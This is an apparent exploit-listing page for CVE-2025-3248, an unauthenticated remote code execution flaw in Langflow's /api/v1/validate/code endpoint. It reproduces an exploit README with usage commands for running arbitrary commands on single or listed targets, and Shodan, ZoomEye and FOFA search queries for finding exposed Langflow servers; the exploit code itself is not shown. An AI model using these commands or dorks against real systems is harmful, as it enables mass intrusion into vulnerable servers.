POC详情: a3903b6e82bbffbb8e174d60a475a24aeb418ff4

来源
关联漏洞
标题: Langflow 安全漏洞 (CVE-2025-3248)
描述:Langflow是Langflow开源的一个用于构建多代理和 RAG 应用程序的可视化框架。 Langflow 1.3.0之前版本存在安全漏洞,该漏洞源于/api/v1/validate/code端点存在代码注入漏洞,可能导致远程未经验证的攻击者执行任意代码。
描述
CVE-2025-3248 — Langflow RCE Exploit
介绍
# CVE-2025-3248 — Langflow RCE Exploit

Remote Code Execution (RCE) exploit for **Langflow** applications vulnerable to **CVE-2025-3248**.

- **Affected Endpoint:** `/api/v1/validate/code`

---

## 🚀 Exploit Features

- 🔓 Remote & unauthenticated RCE
- 🔐 No authentication required
- 🐍 Python3 one-liner script
- 🎨 Colorized terminal output for clarity

---

## 🔧 Usage

```bash
python3 langflow_rce.py -u http://target:7860 -c "id"
python3 langflow_rce.py -i target.txt -c "id"
python3 langflow_rce.py -i target.txt -c "id" -p http://127.0.0.1:8080
```

## Dork
```
Shodan: 

http.title:"Langflow" "Langflow allows you to build LLM applications"

title:"Langflow"

ZoomEye: 

title:"Langflow" && body:"Langflow allows you to build LLM applications"

app:"Langflow"

FOFA: 

title="Langflow" && body="Langflow allows you to build LLM applications"

app="Langflow"
```
文件快照

[4.0K] /data/pocs/a3903b6e82bbffbb8e174d60a475a24aeb418ff4 ├── [4.1K] CVE-2025-3248.py ├── [1.0K] LICENSE └── [ 888] README.md 0 directories, 3 files
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